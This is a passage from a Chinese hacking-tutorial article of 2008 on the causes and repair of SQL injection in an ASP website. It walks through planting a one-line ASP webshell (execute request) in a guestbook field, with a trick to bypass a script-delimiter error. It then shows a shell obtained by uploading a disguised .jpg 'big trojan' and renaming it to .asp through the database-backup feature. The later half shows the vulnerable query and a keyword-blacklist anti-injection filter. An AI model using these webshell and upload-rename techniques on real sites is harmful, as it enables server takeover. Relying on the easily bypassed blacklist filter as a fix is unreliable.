通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
SQL注射漏洞的成因及修补
责任编辑:酷酷の鱼   更新日期:2008-3-18
 

 

看错误提示应该不是ewebeditor了,也没发现upfile.asp或者upload等页面,既然只能上传图片那就不去管他了,点开数据库备份,笔者发现该网站使用的是.asp后缀的数据库,那么在前台留言那里写入一个一个一句话然后连接不知道可以不?于是抱着试试的想法在前台留言那里写入 <%execute request("fish")%>,然后访问数据库页面/db/fujia_data.asp,发现虽然写进去了但是没成功。

错误提示
Active Server Pages 错误 'ASP 0116'
缺少关闭脚本分隔符
/db/fujia_data.asp,行56
Script 块缺少脚本关闭标记 (% >) 。
应该是数据库里有类似<% loop <% 之类的东西阻碍掉了,没有闭合,少了% > 如图5

略懂一点asp语法的人都知道"<% loop <%"是无法闭合的,而且loop也没有任何的do或是exit do来与之配对。但是已经有朋友找到可以突破这个错误的方法了,将<% execute request("#")%>a<% 转换成<%execute request("value")%><%'<% loop <%:%>然后在留言那里插入,然后再一次连接数据库,发现插入成功了。如图6

一句话木马已经成功插进去了,这样成功了拿到WEBSHELL。我们回到后台继续看看还有什么可以利用的地方,转了半天也没发现可利用的。看来还是先用数据库备份拿个SHELL 再说,跟朋友要了个ASP大马,然后保存为jpg形式上传,得到上传地址为UploadFile/200818135334.jpg,数据库备份那里路径就写 UploadFile/200818135334.jpg 备份数据库名称写1.asp,然后点备份,成功获得了一个WEBSHELL。
拿到SHELL 了以后就在想怎么帮朋友修补漏洞,先看存在注射漏洞页viewInfo_c.asp Ctrl+F 搜索“request”一下就跳出来代码了,我们来看看查询是怎么写的?简单解释下代码,如下:
<%
dim ID
dim rs,sql
ID=request("id") //从客户端获取ID的值
sql = "select * from Info where ID="& ID // 把查询语句赋值给SQL变量
Set rs = Server.CreateObject("ADODB.Recordset") //创建记录对象
rs.open sql,conn,1,1 //执行查询语句
if not (rs.eof and rs.bof) then //判断记录是否存在
%>
我们看到因为程序作者是直接使用request从客户端获取ID的值,并没有对程序进行过滤,也没有对输入的语句进行判断,所以导致存在注射漏洞。而且现在不光是这一个页面存在漏洞,笔者在WEBSHELL里随便打开一个页面搜索request发现全部都是ID=request("id") 并没有进行任何过滤,同样也存在了注射漏洞。如图7

随便又看了几个页面几乎每个页面程序作者都没有对代码进行过滤,一个页面一个页面补肯定是不行了。笔者找到了一个比较经典的“ASP通用防注射代码”直接加到conn.asp里,代码如下: dim sql_injdata
SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inj = split(SQL_Injdata,"|")
If Request.QueryString<>"" Then
For Each SQL_Get In Request.QueryString
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=javascript>alert('注意:请不要提交非法请求!');history.back(-1)</Script>"
Response.end
end if
next
Next
End If
If Request.Form<>"" Then
For Each Sql_Post In Request.Form
For SQL_Data=0 To Ubound(SQL_inj)
if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
Response.Write "<Script Language=javascript>alert('注意:请不要提交非法请求!');history.back(-1)</Script>"
Response.end
end if
next
next
end if
上面代码直接加入到conn.asp里就可以了,因为每个文件都包含了根目录下conn.asp,所以直接过滤掉了注射所用的|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|。
在使用一次注射语句看看,已经不行了啦。如图8


另外留言那里还有跨站漏洞,这里就不写了。笔者一块全补了。

上一页  [1] [2] 

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    固顶文章 Delphi编程培训班开课了
    普通文章 瑞星公司03月18日发布 每日计算机病毒及木马播报
    普通文章 木马病毒的六种启动方式,你中过几个?
    普通文章 系统安全至上 剿清删不掉的DLL木马
    普通文章 浅谈Vista中IIS 7.0的3个常见问题
    推荐文章 推荐:磁碟机病毒木马猖獗 教你应对方法
    普通文章 走近Linux防护 铲除病毒两大威胁!
    普通文章 教您识别非法进程及手工杀毒技巧
    普通文章 SQL注射漏洞的成因及修补
    普通文章 "磁碟机"病毒狂袭企业网络 危害是熊猫烧香10倍
    热门文章
    普通文章浅析:以策略遵从为核心的终端安全
    普通文章如何使用FreeBSD防火墙保护企业网络
    推荐文章推荐:别以为你的电脑很安全(附BS马夫解决方案)
    普通文章从攻击者角度来阐述如何防御黑客攻击
    普通文章企业焦点 主动防御能否保障安全
    普通文章网络四面楚歌 杀毒软件遭遇严峻考验
    普通文章艳照暗藏陷阱 看艳照当心密码被盗
    普通文章微软宣布IE8将全面兼容通用网络标准
    普通文章金山预警:"狂犬病"肆虐互联网
    普通文章病毒假冒“百度HI”传播 江民发布专杀工具
    精彩专题